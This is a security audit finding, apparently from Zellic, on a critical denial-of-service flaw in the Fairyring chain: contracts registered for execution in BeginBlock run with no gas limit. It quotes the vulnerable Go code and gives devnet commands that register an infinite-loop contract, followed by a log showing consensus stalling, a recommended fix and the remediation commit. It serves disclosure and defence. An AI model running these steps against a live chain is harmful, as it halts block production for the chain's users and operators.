Assessment reports>Fairyring>Critical findings>DOS vulnerability via ,MsgRegisterContract, due to unlimited gas execution in ,BeginBlock
Category: Business Logic

DOS vulnerability via MsgRegisterContract due to unlimited gas execution in BeginBlock

Critical Severity
Critical Impact
High Likelihood

Description

In the BeginBlock function of the PEP module, contracts registered for execution at specific block heights are executed without gas restrictions, potentially leading to denial-of-service (DOS) attacks. Specifically, when the application chain reaches a specified height, it executes all contracts registered for that height without any gas limitation. If any of these contracts contain an infinite loop or complex computation, they can consume excessive resources and potentially halt the chain.

Here is a code snippet illustrating the execution of registered contracts:

// execute registered contracts
contracts, found := am.keeper.GetContractEntriesByID(ctx, strconv.FormatUint(h, 10))
if found && len(contracts.Contracts) != 0 {
    for _, contract := range contracts.Contracts {
        am.keeper.ExecuteContract(
            ctx,
            contract.ContractAddress,
            types.ExecuteContractMsg{
                Identity:      strconv.FormatUint(h, 10),
                Pubkey:        activePubkey.PublicKey,
                DecryptionKey: key.Data,
            },
        )
    }
}

Here is the ExecuteContract definition:

func (k Keeper) ExecuteContract(ctx sdk.Context, contractAddr string, msg types.ExecuteContractMsg) {
    addr := sdk.MustAccAddressFromBech32(contractAddr)
    msgBytes, err := json.Marshal(msg)
    if err != nil {
        k.logger.Error("error marshalling msg for contract: %s", contractAddr)
        return
    }

    wasmAddr := authtypes.NewModuleAddress(wasmtypes.ModuleName)
    _, err = k.contractKeeper.Execute(ctx, addr, wasmAddr, msgBytes, sdk.Coins{})
    if err != nil {
        k.logger.Error("error executing contract: %s; error: %v", contractAddr, err)
    }
}

Although the wasmd module's keeper internally tracks gas usage during contract execution, this gas consumption is not applied to any transaction signer in the BeginBlock phase, meaning there is no mechanism to halt execution if gas limits are exceeded. Currently, because the module uses an InfiniteGasMeter by default, there is no cap on gas usage, allowing infinite gas to be consumed. This configuration enables malicious users to deploy contracts that consume excessive gas through infinite loops or other resource-intensive processes.

Additionally, the wasmd module allows anyone to deploy contracts via MsgStoreCode, and the PEP module allows contracts to be registered for automatic execution via MsgRegisterContract. This opens an avenue for arbitrary code to be executed in BeginBlock without gas limitations, leading to potential DOS attacks.

Impact

This issue creates a DOS vulnerability. If a registered contract contains an infinite loop or resource-intensive computation, it could consume unbounded gas in BeginBlock, resulting in the chain becoming unresponsive. This could halt block production and disrupt network operations, as there is no gas limit enforced during execution in BeginBlock.

The following commands demonstrate how to deploy and register a contract containing an infinite loop, highlighting the DOS vulnerability:

  1. Deploy the loop.wasm contract, which contains an infinite loop.

fairyringd tx wasm store loop.wasm -y --home devnet_data/fairyring_devnet --from wallet1 --keyring-backend test --chain-id fairyring_devnet --gas 2000000
  1. Instantiate the loop.wasm contract on the Fairyring network.

fairyringd tx wasm instantiate 1 '{}' -y --home devnet_data/fairyring_devnet --from wallet1 --keyring-backend test --chain-id fairyring_devnet --admin wallet1 --label foo
  1. Query and retrieve the contract address for subsequent execution.

CONTRACT_ADDR=$(fairyringd q wasm list-contracts-by-code 1 --output=json | jq -r '.contracts[0]')
echo $CONTRACT_ADDR
  1. Set the contract to execute at a future block height. This step uses the latest chain height and adds 30 blocks.

TARGET_HEIGHT=$(($(fairyringd q pep latest-height -o json | jq -r '.height') + 30))
echo $TARGET_HEIGHT
  1. Register the contract for execution at the specified target height. The contract will automatically execute at this height.

fairyringd tx pep register-contract $CONTRACT_ADDR $TARGET_HEIGHT -y --home devnet_data/fairyring_devnet --from wallet1 --keyring-backend test --chain-id fairyring_devnet

Upon execution, the following log demonstrates the impact:

{"level":"info","module":"server","module":"x/pep",
"time":"2024-11-07T10:42:14Z","message":"Found Contract at block 86, Execute it!"}
{"level":"info","module":"server","module":"pex","numOutPeers":0,
"numInPeers":0,"numDialing":0,"numToDial":10,
"time":"2024-11-07T10:42:16Z","message":"Ensure peers"}
{"level":"info","module":"server","module":"pex",
"time":"2024-11-07T10:42:16Z","message":"No addresses to dial. Falling back to seeds"}
{"level":"info","module":"server","module":"consensus",
"dur":5000,"height":87,"round":0,"step":"RoundStepPropose",
"time":"2024-11-07T10:42:19Z","message":"Timed out"}
{"level":"info","module":"server","module":"p2p","book":
"/root/buildenv/src/app/fairyring/devnet_data/fairyring_devnet/
config/addrbook.json","size":0,
"time":"2024-11-07T10:42:46Z","message":"Saving AddrBook to file"}
{"level":"info","module":"server","module":"pex","numOutPeers":0,
"numInPeers":0,"numDialing":0,"numToDial":10,
"time":"2024-11-07T10:42:46Z","message":"Ensure peers"}
{"level":"info","module":"server","module":"pex",
"time":"2024-11-07T10:42:46Z","message":"No addresses to dial. Falling back to seeds"}

This setup demonstrates how an infinite loop contract can be registered and automatically executed at a specified height, illustrating the potential for DOS if gas limitations are not enforced.

Recommendations

Restrict the maximum gas that can be consumed per contract execution within BeginBlock. If the gas limit is exceeded, terminate the contract execution.

Remediation

This issue has been acknowledged by Fairblock Inc., and a fix was implemented in commit 5b830510.

Zellic © 2025Back to top ↑